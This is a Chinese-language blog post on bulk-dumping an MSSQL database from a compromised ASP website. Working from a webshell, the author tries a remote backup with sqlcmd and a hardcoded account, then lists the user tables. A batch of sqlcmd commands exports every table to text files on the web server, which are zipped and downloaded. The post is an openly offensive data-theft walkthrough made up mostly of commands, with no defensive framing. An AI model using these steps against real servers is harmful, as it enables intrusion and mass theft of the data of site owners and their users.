当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

sqlcmd脱mssql数据库[大型库很有效]

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

近日碰带一个脱裤的环境:

asp+mssql的环境,网站数据库分离的

想脱所有库里的内容

 

尝试多种脱裤的脚本,都有点差强人意涛涛电脑知识网

尝试ssql.asp 虽然也行

但是库内容比较大,脚本每次执行的有大小限制,比如每次只能查询10000条语句,

就的分多次查询,但数据有几十万,这样执行也非常难受

 

后来发现命令行下有sqlcmd这个工具,可远程执行sql命令

 

于是尝试远程备份数据库,执行命令如下

sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "backup database xxx to disk='c:\\temp\\xxx.bak'"

 

但是失败,后分析了下该cms账号为public权限,没有备份权限

于是换一种思路

分别将库里的所有表给备份出来

 

首先获取该库下的所有用户表名

select name from cms.dbo.sysobjects where xtype='U'

 

然后做成一个批处理

sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table1">>c:\\temp\\table1.txt

sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table2">>c:\\temp\\table2.txt

sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table3">>c:\\temp\\table3.txt

sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table4">>c:\\temp\\table4.txt

.......

 

这样在webshell在执行该批处理即可,几十万的数据几秒内就导出到web服务器上了 ,然后利用rar打包 迅雷下载 完工​

 

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1